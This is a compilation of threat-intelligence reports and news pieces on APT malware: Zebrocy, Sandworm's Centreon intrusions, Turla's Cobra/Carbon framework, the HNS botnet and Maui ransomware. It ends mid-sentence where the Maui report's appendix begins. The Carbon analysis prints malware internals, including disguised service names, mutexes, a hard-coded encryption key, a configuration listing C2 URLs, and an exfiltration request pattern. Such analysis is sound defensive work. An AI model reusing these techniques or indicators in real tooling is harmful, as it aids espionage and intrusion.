# Zebrocy’s Multilanguage Malware Salad **Authors** GReAT Zebrocy is a Russian-speaking APT that presents a strange set of stripes. To keep things simple, there are three things to know about Zebrocy: - Zebrocy is an active sub-group of victim profiling and access specialists. - Zebrocy maintains a lineage back through 2013, sharing malware artifacts and similarities with BlackEnergy. The past five years of Zebrocy infrastructure, malware set, and targeting have similarities and overlaps with both Sofacy and Zebrocy. Zebrocy shares data points and crosses lines with other clusters of activity in unique and unexpected ways. Zebrocy initially shared limited infrastructure, targets, and interests with Sofacy. Zebrocy also shared malware code with past BlackEnergy/Sandworm; and targeting, and later very limited infrastructure with more recent BlackEnergy/GreyEnergy. Oddly, Turla deployed spearphish macros almost identical to previous, non-public Zebrocy code in 2018. It’s fantastic to see some of these same points being repeated publicly by other research teams. A previous claim that Zebrocy distributed Sofacy’s XAgent as a second stage implant remains unsubstantiated but now is replaced with findings identical to these following the SAS2019 presentation, so it seems we are all slowly getting on the same page. ## A first course with new additions When we originally documented a Zebrocy malware incident in late 2015, we noted an Oct 2015 AutoIT downloader and a Delphi backdoor payload. Since then, we have noted a virtual salad of Zebrocy code tossed together, built with a handful of languages, often ripped from various code sharing sites. Zebrocy activity initiates with spearphishing operations delivering various target profilers and downloaders without the use of any 0day exploits. Browser credential theft, keylogging, and Windows credential theft, along with some incidents of file and communications theft, are all on the list of Zebrocy second stage implant specials. This Zebrocy dish is served before the main course – gaining and maintaining access is not an easy job. And, because the group seems to maintain lineage in both the 0day capable and destructive BlackEnergy/Sandworm APT and the prolific and 0day capable Sofacy APT, this course is very interesting. Let’s take a more intelligent perspective on the Zebrocy malware set and activity and its lineage, based on reporting provided to our team. Since the SAS2019 presentation, we have identified a new Zebrocy backdoor family, deployed with a new downloader. So Zebrocy continues to expand its malware set. There appears to be both a return to C coding for the group, and also an expansion with new managed languages. A set of Zebrocy related events best characterize years of the activity and help to carve out the group’s own profile, its lineage, malware set, infrastructure, and modus operandi. - Zebrocy lineage – early Sofacy infrastructure overlap (late 2015/early 2016) for the Zebrocy Delphi backdoor. - Zebrocy lineage – Delphocy Delphi deployment and abrupt conclusion (2013 – late 2015), and start of Zebrocy Delphi timeline (late 2015). - Zebrocy lineage – shared, unique kernel code between BlackEnergy and Delphocy bootkit (2013 – 2015). - Zebrocy unique malware set – vintage Delphi programming coupled with unusual and agile development capabilities with new managed languages like Python, C#, and Go all perform screengrab anchor, volume serial number id, systeminfo and process list collection. Zebrocy ongoing targeting and infrastructure overlap – fairly recent: - The full 2018 decline of SPLM/XAgent for the more traditional “Sofacy” activity. - A coincidental new increase in Zebrocy activity. - Shared build-id format with BlackEnergy modules. - An expansion in Zebrocy spearphishing. - An expansion in the managed languages the Zebrocy malware set is built on. These predictions later turned into global events, as lighter targeting turned into a massive global surge of Zebrocy activity, sometimes sharing targets between both Sofacy and Zebrocy. Also later that year, the Zebrocy malware set expanded with C#, Python, and Go. This wouldn’t be the first or last time we reported on this group’s innovative malware set. ## Zebrocy Delphi backdoor shared artifacts rooted in Delphocy and BlackEnergy The limited set of 2013-2015 Delphocy intrusions in Ukraine and Poland deployed a Delphi backdoor both with and without a bootkit loader. This bootkit loader included a routine that shares the same compiled code with only the BlackEnergy kernel loaders, helping to tie Zebrocy malware to the BlackEnergy malware set. This unique encryption implementation was shared between BlackEnergy’s kernel loader and Delphocy’s bootkit kernel loader code. The appearance of this code overlap coincides with several project events: - End of Delphocy/BlackEnergy overlapped code use, while BlackEnergy moved forward with other code. - End of Delphocy’s user-mode Delphi payload (October 2015). - Start of Zebrocy’s Delphi payload (October 2015). A particular chunk of kernel mode code for a custom encryption routine was shared across the older Delphocy bootkit and the BlackEnergy malware platform in 2013. While Delphocy replaced this bootkit with a simplified user-mode persistence technique, BlackEnergy malware continued using this code until late 2015. Then, these APTs discontinued both the Delphi-based Delphocy project and the use of this mysterious chunk of code within BlackEnergy malware. Almost immediately, Delphi-based Zebrocy backdoors began to be deployed. Several months later, a Zebrocy backdoor connected back to a domain that was registered by a particular email address. This address had been used to register another Sofacy domain hosted on a well-known Sofacy IP at the time. Note that both Delphocy’s and BlackEnergy’s kernel mode code appropriated unique content in 2013 from the Carberp codebase – hashing, injection, bootkit functionality. Surprisingly, this same unique encryption cipher was seen pasted again into 2018 VPNFilter code as well. Clearly it happens with other malware, but Zebrocy’s consistent copy/paste tendency is something not frequently seen in other APT malware with a “best use” date spanning five years or more. Portions of its AutoIT code were copied from code sharing forums and pasted into their own code. This is different from Sofacy’s disappeared and exhaustive SPLM/XAgent codebase. It was used for at least six years and was entirely custom-built. ## Zebrocy’s mix The Zebrocy malware set is tossed together from a wide set of languages and technologies, including both legitimate and malicious code shared on online forums and sites like Github and Pastebin. This repeated “copy/paste” practice is not frequently seen in Russian-speaking APT malware sets, although C# Zebrocy backdoor maintains much the same functionality as its other assortment of backdoor implementations. Most interesting in this implementation is its consistent collection of screengrab and system information, and a list of running processes. Again, with this first stage backdoor, it is profiling its targets and looking for unexpected sources of credential collection to develop bespoke second stage credential harvesters against. Additionally, Zebrocy wheeled out a second stage. These findings were particularly interesting in the light of past claims about SPLM/XAgent being the second stage of choice for Zebrocy, for which there was a lot of monitoring on our part, but never any data support. Some guesses were made about why that was, perhaps Zebrocy downloaders were all mitigated prior to attempting to download further stages? But never any answers. Instead, we arrived at the answers ourselves. In order to account for unexpected software installations at victim systems, no matter which language, each first stage backdoor implementation collects a “system information” listing, screengrab, and enumerates running processes. This malware behavior was included in Zebrocy backdoors from the very first backdoor that we reported on, and continued into 2019 with the latest rounds of Go backdoors. After collected information is POSTed to the C2, a long delay ensues. Eventually, target systems may receive a custom-built second stage implant to retrieve credentials from those unexpected software sources. More unusual software packages included little-known customized Chromium builds like CentBrowser and 7Star from Asian studios. In some cases, malware password stealers are deployed to address more common software. In addition, Zebrocy file content stealers and keyloggers coded in C# were detected at targets in 2017 and 2018. Some of this code and their build id value format was reviewed in the SAS2018 “Masha and these Bears” presentation. ## Served cold Zebrocy version 2.2 called back to a domain sharing Whois and hosting resources with Sofacy in early 2016, and later versions used naming and URL constructs very similar to BlackEnergy resources. And since then, just like BlackEnergy, mostly all of the Zebrocy C2 used no domain registrations. Communications directly to the host over IPv4 with no domain resolution are common behavior for the group’s malware. However, every now and then, Zebrocy malware calls back to servers located by hardcoded domain names. Its ongoing activity demonstrates a long game commitment to gaining access to targeted networks. And as we predicted at SAS2018 and SAS2019, this latest new Nim coding adds to the growing list of languages for this malware set. We will see more from Zebrocy into 2019 on government and military-related organizations.
# France Ties Russia's Sandworm to a Multiyear Hacking Spree The Russian military hackers known as Sandworm, responsible for everything from blackouts in Ukraine to NotPetya, the most destructive malware in history, don't have a reputation for discretion. But a French security agency now warns that hackers with tools and techniques it links to Sandworm have stealthily hacked targets in that country by exploiting an IT monitoring tool called Centreon—and appear to have gotten away with it undetected for as long as three years. On Monday, the French information security agency ANSSI published an advisory warning that hackers with links to Sandworm, a group within Russia's GRU military intelligence agency, had breached several French organizations. The agency describes those victims as "mostly" IT firms and particularly web hosting companies. Remarkably, ANSSI says the intrusion campaign dates back to late 2017 and continued until 2020. In those breaches, the hackers appear to have compromised servers running Centreon, sold by the firm of the same name based in Paris. Though ANSSI says it hasn't been able to identify how those servers were hacked, it found on them two different pieces of malware: one publicly available backdoor called PAS, and another known as Exaramel, which Slovakian cybersecurity firm ESET has spotted Sandworm using in previous intrusions. While hacking groups do reuse each other's malware—sometimes intentionally to mislead investigators—the French agency also says it's seen overlap in command and control servers used in the Centreon hacking campaign and previous Sandworm hacking incidents. Though it's far from clear what Sandworm's hackers might have intended in the years-long French hacking campaign, any Sandworm intrusion raises alarms among those who have seen the results of the group's past work. "Sandworm is linked with destructive ops," says Joe Slowik, a researcher for security firm DomainTools who has tracked Sandworm's activities for years, including an attack on the Ukrainian power grid where an early variant of Sandworm's Exaramel backdoor appeared. "Even though there's no known endgame linked to this campaign documented by the French authorities, the fact that it's taking place is concerning, because the end goal of most Sandworm operations is to cause some noticeable disruptive effect. We should be paying attention." ANSSI didn't identify the victims of the hacking campaign. But a page of Centreon's website lists customers including telecom providers Orange and OptiComm, IT consulting firm CGI, defense and aerospace firm Thales, steel and mining firm ArcelorMittal, Airbus, Air France KLM, logistics firm Kuehne + Nagel, nuclear power firm EDF, and the French Department of Justice. In an emailed statement Tuesday, however, a Centreon spokesperson wrote that no actual Centreon customers were affected in the hacking campaign. Instead, the company says that victims were using an open-source version of Centreon's software that the company hasn't supported for more than five years, and argues that they were deployed insecurely, including allowing connections from outside the organization's network. The statement also notes that ANSSI has counted "only about 15" targets of the intrusions. "Centreon is currently contacting all of its customers and partners to assist them in verifying their installations are current and complying with ANSSI’s guidelines for a Healthy Information System," the statement adds. "Centreon recommends that all users who still have an obsolete version of its open source software in production update it to the latest version or contact Centreon and its network of certified partners." Some in the cybersecurity industry immediately interpreted the ANSSI report to suggest another software supply chain attack of the kind carried out against SolarWinds. In a vast hacking campaign revealed late last year, Russian hackers altered that firm's IT monitoring application and it used to penetrate a still-unknown number of networks that includes at least half a dozen US federal agencies. But ANSSI's report doesn't mention a supply chain compromise, and Centreon writes in its statement that "this is not a supply chain type attack and no parallel with other attacks of this type can be made in this case." In fact, DomainTools' Slowik says the intrusions instead appear to have been carried out simply by exploiting internet-facing servers running Centreon's software inside the victims' networks. He points out that this would align with another warning about Sandworm that the NSA published in May of last year: The intelligence agency warned Sandworm was hacking internet-facing machines running the Exim email client, which runs on Linux servers. Given that Centreon's software runs on CentOS, which is also Linux-based, the two advisories point to similar behavior during the same timeframe. "Both of these campaigns in parallel, during some of the same period of time, were being used to identify externally facing, vulnerable servers that happened to be running Linux for initial access or movement within victim networks," Slowik says. Although Sandworm has focused many of its most notorious cyberattacks on Ukraine—including the NotPetya worm that spread from Ukraine to cause $10 billion in damage globally—the GRU hasn't shied away from aggressively hacking French targets in the past. In 2016, GRU hackers posing as Islamic extremists destroyed the network of France's TV5 television network, taking its 12 channels off the air. The next year, GRU hackers including Sandworm carried out an email hack-and-leak operation intended to sabotage the presidential campaign of French presidential candidate Emmanuel Macron. While no such disruptive effects appear to have resulted from the hacking campaign described in ANSSI's report, the Centreon intrusions should serve as a warning, says John Hultquist, the vice president of intelligence at security firm FireEye, whose team of researchers first named Sandworm in 2014. He notes that FireEye has yet to attribute the intrusions to Sandworm independently of ANSSI—but also cautions that it's too early to say that the campaign is over. "This could be intelligence collection, but Sandworm has a long history of activity we have to consider," says Hultquist. "Any time we find Sandworm with clear access over a long period of time, we need to brace for impact." Update 2/16/21 1:20PM ET: This story has been updated with additional comment from Centreon.
# Analysis of Project Cobra Project Cobra and the Carbon System were mentioned by Kaspersky in the article called “The Epic Turla Operation.” This malware is used by the same actors as Uroburos (aka Snake/Turla) and Agent.BTZ. We estimate that Carbon System was developed after Agent.BTZ and before Uroburos. The Carbon System shares some technical details with Uroburos and Agent.BTZ (encryption key, encryption algorithm, design, etc.) and some other links, such as the name of the snake-related project: Cobra. Uroburos could be considered a kernel-centric “snake” and Cobra Carbon System as a userland-centric “snake.” One specification of the group behind this threat is that when they developed new tools, the old ones are not destroyed or abandoned but still maintained and used. Thanks to our collection of samples, we are able to draw the following timeline. The Cobra can be considered an extensible framework. This framework is generally downloaded and dropped by reconnaissance malware, for example, Tavdig, aka Wipbot (Symantec) or also Epic Backdoor (Kaspersky). Using IOC (Indicators of Compromise) to detect this malware is quite complicated because the malware authors made efforts to randomize many factors. For example, the attackers drop the malware into different directories, using the files present, also chosen randomly, to store the malware configuration. Due to these characteristics, the experts of the G DATA SecurityLabs decided to publish an analysis of the framework dropped by the file with the md5: cb1b68d9971c2353c2d6a8119c49b51f. G DATA security solutions detect this file as Backdoor.TurlaCarbon.A (Engine A) and Win32.Trojan.Cobra.B (Engine B). We can find the compilation path in a file embedded in the dropper: `f:\Workshop\Projects\cobra\carbon_system\x64\Release\carbon_system.pdb`. Looking at this, we can easily identify that “Carbon System” is a part of the “Cobra” project. ## Dropper The dropper is used to install four files on the infected system. The dropped files are stored in the resources of the binary. The dropper has the 32-bit and the 64-bit version of the executable files embedded. It installs the following files: - **miniport.dat**: configuration file; - **stage 1**: the file name is randomly chosen from `ipvpn.dll`, `srsvc.dll`, or `kmsvc.dll`. This library is registered as a service; - **stage 2**: the file name is `msimghlp.dll`. It’s the orchestrator of the malware (called “system” by the author); - **stage 3**: the file name is `msximl.dll`. This library (called “user” by the authors) is injected into the browsers and email clients in order to communicate to the outside via web requests. The persistence is performed by the creation of a service (HKLM\SYSTEM\CurrentControlSet\Service\). The service name depends on the chosen stage 1 file name: | File Name | Service Name | Display Name | Description | |--------------|--------------|--------------|-------------| | ipvpn.dll | ipvpn | Virtual Private Network Routing Service | Provides enhanced network management while active VPN connection established. Enforcement technologies that use virtual networks may not function properly without this service. | | srsvc.dll | srservice | System Restore Service | Performs system restore functions. To stop service, turn off System Restore from the System Restore tab in My Computer. | | kmsvc.dll | hkmsvc | Health Key and Certificate Management Service | Provides X.509 certificate and key management services for the Network Access Protection Agent (NAPAgent). Enforcement technologies that use X.509 certificates may not function properly without this service. | The descriptions reveal spelling mistakes, and the sentence structure may indicate that the texts have been written by non-native speakers. Stage 1 is always installed in `%SystemRoot%\system32\`. To install something into `%SystemRoot%`, the attackers have to have gained administration privileges before they executed the dropper. The three other dropped files are stored in an existing directory in `%ProgramFiles%`, randomly chosen. During the installation, executed in a command line, the dropper displays the following information: The string “LUCKY STRIKE!!!” is displayed in case the installation was carried out successfully and “Idioten???” in case of any installation error. To be able to find the random installation path, the dropper modifies a legitimate .inf file (also chosen randomly) in `%SystemRoot%\inf\` to add the following information to the end of the file: ``` [B8744A58] root=C:\Program Files\Windows NT\Accessoiries\en-US ``` The ID between the brackets is a unique ID, and the root variable contains the path in which the three additional files are installed. The tricks put in place by the authors – random file names and random installation paths – are used to limit the detection possible with Indicators of Compromise. Generally, security researchers use these kinds of artifacts to detect the compromise of systems. ## Stage 1: Loader **MD5**: 43e896ede6fe025ee90f7f27c6d376a4 G DATA security solutions detect this as Backdoor.TurlaCarbon.A (Engine A) and Win32.Trojan.Cobra.A (Engine B). The first stage is rather small as the number of instructions and actions is rather small. Simply spoken, its purpose is to load the second stage. To perform this task, the first stage checks all of the files in `%SystemRoot%\inf\` in order to find the entry with the unique ID previously mentioned and therefore to determine the path for stage 2. After that, the library of the second stage is loaded, and subsequently, the exported function `ModuleStart()` is executed. ## Stage 2: The Orchestrator **MD5**: e6d1dcc6c2601e592f2b03f35b06fa8f **Version**: 3.71 G DATA security solutions detect this threat as Backdoor.TurlaCarbon.A (Engine A) and Win32.Trojan.Cobra.B (Engine B). The second stage is called “system” by the authors of the malware. The internal name of the library is `carbon_system.dll`. The purpose of this code is to stay in the background and orchestrate several requests and tasks made by the other .dlls or named pipe connections. ### Mutex Creation The orchestrator creates several mutexes. These mutexes are used for two reasons: - Used by the third stage to detect whether the orchestrator has been launched correctly on the infected system; - Used to execute the orchestrator only once. Here are the created mutexes: - Global\MSCTF.Shared.MUTEX.zRX - Global\DBWindowsBase - Global\IEFrame.LockDefaultBrowser - Global\WinSta0_DesktopSessionMut - Global\{5FA3BC02-920F-D42A-68BC-04F2A75BE158} - Global\SENS.LockStarterCacheResource - Global\ShimSharedMemoryLock ### Working Files and Directories Here are the working files and directories used by the orchestrator. The orchestrator creates one single random path and then stores all necessary folders mentioned under this one randomly generated path: - `%randompath%\Nls\`: directory related to the tasks to be executed - `%randompath%\0208\`: directory related to the temporary files - `%randompath%\System\`: directory related to the additional plugins - `%randompath%\System\bootmisc.sdi`: seems not to be used - `%randompath%\0208\C_56743.NLS`: files related to the tasks to be executed and the plugins - `%randompath%\Nls\b9s3coff.ax`: files related to the tasks to be executed and the named pipe - `%randompath%\Nls\a67ncodc.ax`: file related to the tasks to be executed - `%randompath%\vndkrmn.dic`: log file - `%randompath%\qavsrc.dat`: log file - `%randompath%\miniport.dat`: configuration file - `%randompath%\asmcerts.rs`: purpose currently unknown - `%randompath%\getcert.rs`: purpose currently unknown The files are not automatically created during the startup of the malware. The files are created only if the orchestrator needs them. ### Configuration File The configuration file (`miniport.dat`) is used by the second and the third stage. The file is encrypted with the CAST-128 algorithm, the same algorithm that has been used by Uroburos to encrypt the file systems. The encryption key is: ``` { 0x12, 0x34, 0x56, 0x78, 0x9a, 0xbc, 0xde, 0xf0, 0xfe, 0xfc, 0xba, 0x98, 0x76, 0x54, 0x32, 0x10 } ``` Note: following the logic, 0xfc would be expected to be 0xdc. Here is an example of the configuration file: ``` [NAME] object_id=acce6511-ba11-fa11-f0047d1 iproc=iexplore.exe,outlook.exe,msimn.exe,firefox.exe,opera.exe,chrome.exe ex=#,netscape.exe,mozilla.exe,adobeupdater.exe,chrome.exe [TIME] user_winmin=1800000 user_winmax=3600000 sys_winmin=3600000 sys_winmax=3700000 task_min=20000 task_max=30000 checkmin=60000 checkmax=70000 logmin=60000 logmax=120000 lastconnect=1419925298 timestop= active_con=900000 time2task=3600000 check_lastconnect=1419925298 [CW_LOCAL] quantity=0 [CW_INET] quantity=4 address1=soheylistore.ir:80:/modules/mod_feed/feed.php address2=tazohor.com:80:/wp-includes/feed-rss-comments.php address3=jucheafrica.com:80:/wp-includes/class-wp-edit.php address4=61paris.fr:80:/wp-includes/ms-set.php [CW_INET_RESULTS] quantity=4 address1=soheylistore.ir:80:/modules/mod_feed/feed.php address2=tazohor.com:80:/wp-includes/feed-rss-comments.php address3=jucheafrica.com:80:/wp-includes/class-wp-edit.php address4=61paris.fr:80:/wp-includes/ms-set.php [TRANSPORT] system_pipe=comnap spstatus=yes adaptable=no [DHCP] server=135 [LOG] logperiod=7200 lastsend=1419924312 [WORKDATA] run_task= run_task_system= [VERSION] System=3/71 User=3/62 ``` The websites listed in `[CW_INET]` and `[CW_INET_RESULTS]` are all compromised legitimate WordPress websites. By the time of writing this article, all websites have been cleaned and patched. The file format is the same as the .ini file format from Windows. The authors use the Windows API to parse the configuration (`GetPrivateProfileStringA()`). The file contains: - A unique ID to identify the infected machine (object_id); - The command and control server used by stage 3 (addressX); - The version of the “system” and the “user” library (in [VERSION]); - The frequency and time of execution of several internal tasks ([TIME]); - The name of the named pipe used as a communication channel between the “system” and the “user” (system_pipe); - The process name where stage 3 will be injected (iproc). ### Communication via Named Pipes The orchestrator creates two named pipes in order to communicate with stage 3 or to receive messages from an external machine: - `\\.\\pipe\sdlrpc` - `\\.\\pipe\comnap` (the name in the configuration file) ### Features The orchestrator creates nine threads in order to handle the different features. We will now have a look at the most interesting threads. One thread is used to check if the parameters in the configuration file have changed. A second thread is used to check the available hard disk space. If the HDD space is low, the orchestrator generates an entry in the log file. The preceding screenshot reveals a rather interesting use of English, again. From what we can conclude, we believe “Survive me” is supposed to mean something like “Rescue me” in the sense of “help me to survive.” A third thread is created in order to handle the tasks. A task is a command sent from the C&C that is to be executed. The code to be executed is stored locally on the infected machine. The orchestrator is able to execute libraries (by executing the export `start()`) or to execute Windows’ command line. The command line can be executed with the current user privilege or with the privilege of another user (via `CreateProcessA()` or `CreateProcessAsUserA()`). A fourth thread is used to handle the log rotation file (`vndkrmn.dic`). A fifth thread is used to create and read the data sent to the named pipes. A sixth thread is used to load plugins. For the orchestrator, a module is a library file with a specific export called `ModuleStart()`. The plugin list is stored in the configuration file ([PLUGINS]). This thread is very similar to the third thread, but it bears some minor differences. The function to execute the plugins is not the same. Finally, a seventh thread is used to inject stage 3 (`msximl.dll`) into the browsers and email clients. The list of the targeted processes is stored in the configuration file: ``` iproc=iexplore.exe,outlook.exe,msimn.exe,firefox.exe,opera.exe,chrome.exe ``` As usual, the injected library is executed via the `ModuleStart()` exports. ### Log File The orchestrator and stage 3 generate a shared log file. The file is encrypted with the same algorithm and the same key as the configuration file. Here is an example of the content: ``` [LOG] start=1 30/12/14|08:28:44|acce6511-ba11-fa11-f0047d1|s|ST|3/71|0| 30/12/14|08:29:50|acce6511-ba11-fa11-f0047d1|s|INJ|C:\Program Files\Windows Mail\en-US\msximl.dll| 30/12/14|08:30:28|acce6511-ba11-fa11-f0047d1|s|INJ|0|2204| 30/12/14|08:30:28|acce6511-ba11-fa11-f0047d1|u|ST|3/62|"C:\Program Files\Internet Explorer\iexplore.exe" :2204| 30/12/14|08:30:28|acce6511-ba11-fa11-f0047d1|u|ST|2204:END| 30/12/14|08:30:39|acce6511-ba11-fa11-f0047d1|u|W|-1|0|ALL|NOINET| 30/12/14|08:30:41|acce6511-ba11-fa11-f0047d1|u|W|-1|0|ALL|NOINET| 30/12/14|08:37:18|acce6511-ba11-fa11-f0047d1|s|STOP|3/71|0| 30/12/14|08:37:18|acce6511-ba11-fa11-f0047d1|s|STOP|OK| ``` The log format is: ``` Date|Time|Unique ID|source|message ``` The source can be: - **S**: stands for the orchestrator (or “System”); - **U**: stands for the injected library (or “User”). The format of the message is not always the same. However, the first part is the executed feature: - **ST**: start (either for the orchestrator or the injected library); the second part of the message is the version (for example, 3.71 for the orchestrator and 3.62 for the injected library) and, regarding the injected library, the name of the host process; - **STOP**: stop; - **OPER**: message for the operator (for example, when the disk space is low); - **W**: web requests; - **INJ**: injection; the second part of the message is the path of the file (lib) used to be injected into e.g. the browser or the PID; - **L**: load library log message; - **S**: log rotation message; - **T**: message linked to the task execution. ## Stage 3: The Injected Library **MD5**: 554450c1ecb925693fedbb9e56702646 **Version**: 3.62 This threat is detected by G DATA security solutions as Backdoor.TurlaCarbon.A (Engine A) and Win32.Trojan.Cobra.B (Engine B). Stage 3 is called “user” by the authors. The internal name of the library is `CARBON.dll`. The purpose of this stage is to communicate to the outside via web requests. The communication is used to exfiltrate data and to receive orders (or plugins or code to execute). ### Mutex Check The first task of stage 3 is to check whether the mutexes created by the orchestrator are available or not, to make sure the orchestrator has started correctly. ### Check of the Internet Connection Before communicating with the command and control server, stage 3 checks whether an Internet connection is available by contacting: - www.google.com - www.yahoo.com - www.bing.com - update.microsoft.com - windowsupdate.microsoft.com - microsoft.com In case the connection does not work, the following message is written into the log file: ``` |u|W|-1|0|ALL|NOINET| ``` ### Communication to the Command & Controls The communication to the operators is performed via the URL stored in the configuration file. Firstly, the malware performs a GET request in order to identify whether the C&C is up and running. If the first query is a success, a second request is sent to the C&C with the difference that some data is included in an HTTP Cookie. The content of the cookie is `catid`, `task`, `id`, `forumid`, `itemid`, `link`, `layout`, `start`, `limit` (none of the parameters is mandatory). The data sent in this cookie is encrypted, using the CAST-128 algorithm, and encoded. The malware can also generate POST requests. Here is an example of the pattern: ``` POST hxxp://%s/%s?uid=%d&context=%s&mode=text&data=%s ``` The malware uses the same technique as Tavdig does to receive orders. The data can be seen between the `<div>` and the `</div>` field in the following screenshot. ### Additional Features Stage 3 is able to execute tasks, exactly as the orchestrator is. The code concerning the features is exactly the same as the code the orchestrator uses. We assume that this is the case due to copy & paste. The “user” is able to execute libraries (by executing the export `start()`) and to execute Windows command line. The command line can be executed with the current user privilege or with the privilege of another user (via `CreateProcessA()` or `CreateProcessAsUserA()`). ## Conclusion This analysis shows us that the actors behind Uroburos, Agent.BTZ, and the Carbon System are skilled and still active. This sample we analyzed demonstrates how the authors tried to complicate the detection and the use of Indicators of Compromise. Summarized, some of the tricks we have encountered: - Use of random service names; - Use of random file names; - Use of random installation directory names; - Configuration of the named pipe name. Carbon System is a real extensible framework with plugin management. As these plugins are provided by the contacted C&C servers, it can be anything – nothing has to be pre-bundled. Due to the nature of the malware attacks, we can imagine those plugins to be anything connected to cyber espionage, from keyloggers to credentials stealers, eavesdropping mechanisms, and much more. An attacked enterprise or organization would be an open book for the attackers. The architecture is complex, with an orchestrator and a library injected into the browsers’ and email clients’ processes. Obviously, this approach resembles what we have seen looking at Uroburos. The framework could be considered a “draft” but still very powerful version (in user-land only) of Uroburos. We believe that Uroburos is the product of the Cobra malware evolution. Although Uroburos is a new branch, not a linear follow-up. Looking at the whole picture that we can draw until now, we can say that everything regarding this whole campaign is highly professional. We have analyzed various samples and have drawn many conclusions. Even though there are still many open questions that need to be answered, we come closer to charming the snakes – The Cobra, the venomous animal with the deadly bite, and Uroburos, the self-sustaining creepy mixture of a snake and a dragon. This kind of herpetology became quite interesting, and we are thrilled to find out more about the campaigns.
# HNS Evolves From IoT to Cross-Platform Botnet A botnet discovered at the start of the year and named Hide 'N Seek (HNS) has expanded from infecting Internet of Things (IoT) devices and is now also targeting cross-platform database solutions as well. This is an important development in the botnet's evolution, which also passed a significant milestone in May when it became the first IoT malware that was capable of surviving device reboots. ## HNS now targets more devices Now, the Netlab research team at Qihoo 360 says that HNS has expanded beyond the scope of routers and DVRs and is now also targeting database applications running on server operating systems. According to Netlab researchers, the botnet is now capable of infecting the following types of devices, with the following types of exploits: 1. TPLink-Routers RCE 2. Netgear RCE 3. (new) AVTECH RCE 4. (new) CISCO Linksys Router RCE 5. (new) JAW/1.0 RCE 6. (new) OrientDB RCE 7. (new) CouchDB RCE As a side effect for adding more payloads, HNS is also noisier now, as it needs to scan more ports to find new hosts to infect. Experts say they've seen HNS bots initiating scans on ports: - 23 Telnet - 80 HTTP Web Service - 2480 OrientDB - 5984 CouchDB - 8080 HTTP Web Service - ... but also random ports But HNS was easy to spot anyway because it's only the second major IoT botnet besides Hajime known to use a P2P structure, so security researchers would have an easy time identifying it regardless. ## HNS testing coinminer payload HNS is not the first botnet to target OrientDB servers, which have become quite the favorite among various botnets. For example, DDG, a botnet discovered last year, which is still alive today, has targeted OrientDB servers in the past with cryptocurrency-mining malware. In fact, it appears that HNS operators might have learned something from the DDG crew because Netlab says HNS has also started dropping a coinminer payload on some of the infected systems. Fortunately, for the time being, it appears that these deployments have all failed, as the additional coinminer payload failed to start and generate funds for the HNS operators. But if they manage to get it up and running, they'll be in for some profits, as the DDG gang collected well over $1 million from their coinmining last year. The Netlab team has published an in-depth analysis of the changes in HNS compared to its previous variant spotted back in January.
# Maui Ransomware Threat Report **Silas Cutler, Principal Reverse Engineer** **06/07/2022** As ransomware has grown to epidemic proportions, the ecosystems of Ransomware-as-a-Service (RaaS) gangs such as Conti, LockBit, and BlackCat have become broadly recognizable. Outside of that ecosystem, there are other ransomware families that often receive less attention, yet are important to study because they can help broaden our understanding of the ways threat actors may conduct extortion operations. In June 2022, the Stairwell research team investigated one of these lesser-known families, the Maui ransomware. Maui stood out to us because of a lack of several key features we commonly see with tooling from RaaS providers, such as an embedded ransom note to provide recovery instructions or automated means of transmitting encryption keys to attackers. Instead, we believe that Maui is manually operated, in which operators will specify which files to encrypt when executing it and then exfiltrate the resulting runtime artifacts. There are many aspects to Maui ransomware that are unknown, including usage context. The following report will provide a technical overview of the Maui ransomware; our goal with the publication of our findings is to raise awareness of this ransomware and provide a starting point for other researchers. ## Technical Overview The earliest identified copy of Maui (SHA256 hash: 5b7ecf7e9d0715f1122baf4ce745c5fcd769dee48150616753fec4d6da16e99e) was first collected by Stairwell’s inception platform on 3 April 2022. All identified copies of Maui (as of this report) have shared a compilation timestamp of 15 April 2021 04:36:00 UTC. Based on overlapping compilation timestamps and error messages, it is believed that Maui is configured using an unidentified external builder. Maui is believed to be designed for manual execution by attackers. When executed at the command line without any arguments, Maui prints usage information, detailing supported command-line parameters. The only required argument is a folder path, which Maui will parse and encrypt identified files. **Usage:** `maui [-ptx] [PATH]` **Options:** - `-p dir:` Set Log Directory (Default: Current Directory) - `-t n:` Set Thread Count (Default: 1) - `-x:` Self Melt (Default: No) Embedded usage instructions and the assessed use of a builder is common when there is an operational separation between developers and users of a malware family. The Stairwell research team has not identified any public offerings for Maui and assesses that it is likely privately developed. ## Encryption Instead of relying upon external infrastructure to receive encryption keys, Maui creates three files in the same directory it was executed from (unless a custom log directory is passed using the `-p` command line argument) containing the results of its execution. These files are likely exfiltrated by Maui operators and processed by private tooling to generate associated decryption tooling. A description of each of these files is provided below: | File Name | Description | |-------------|-------------| | maui.evd | RSA private key generated at runtime, encrypted using hard-coded public key | | maui.key | RSA public key generated at runtime, encoded using XOR key generated from hard drive information | | maui.log | Log file containing output console output from execution | The strategy used in Maui for encrypting files can be logically divided into three layers, similar to Conti and ShiOne. At the inner layer, files are encrypted using Advanced Encryption Standard (AES) with a unique 16-byte key for each file. Corresponding AES keys are RSA (Rivest–Shamir–Adleman) encrypted using a keypair generated the first time Maui is run (referred to hereafter as the runtime RSA keys). This key pair represents the second layer of encryption and, unless Maui is run under different conditions, will be unique to each system. At the final layer, runtime RSA keys are encrypted using a different, hard-coded RSA public key (stored at the end of the Maui executable). From the limited number of observed samples, it is unclear if this hard-coded public key is unique to campaigns, targeted networks, or individual operators. ### Hard-coded Public Key At the start of execution, Maui will load an RSA public key stored at the end of itself on disk. This key is stored in a format designed to allow for safe programmatic retrieval. Using `fseek()`, Maui will read the last twelve bytes of itself from disk, verify the resulting first 4 bytes contain the static value of PUBK, followed by a number one, denoting the key version. If both of these checks pass, the 162 bytes preceding the PUBK sentinel are read, containing the public key. If these checks fail, a corresponding error message will be presented. ### Runtime Keys Following extraction of the hard-coded RSA public key, Maui generates a new keypair using `RSA_generate_key()`. The resulting private key is then encrypted using the hard-coded public key and written to a file named `maui.evd`. Based on debug messages, the developers describe `maui.evd` as an evidence file. The corresponding public key is encoded using a 16-byte XOR key, generated using information about `\\.\PhysicalDrive0`, and written to a file named `maui.key`. XOR encoding was likely chosen for this file instead of RSA encryption to support key reuse if Maui is run multiple times on a target system. ### File Encryption Files are encrypted by Maui using Advanced Encryption Standard (AES) in CBC mode using a 32-byte key generated per file. Keys are prefixed by the hard-coded string `dogd`, followed by 28 bytes generated using `RAND_bytes()`. Each file encrypted by Maui contains a custom header, allowing the malware to programmatically identify already encrypted files. This header includes the file’s original path and an encrypted copy of the AES key (encrypted using the runtime RSA public key). While Maui is encrypting files, it outputs status information back to operators. ## Appendix ### PoC Key Extractor The following Python script can be used to extract public RSA keys stored 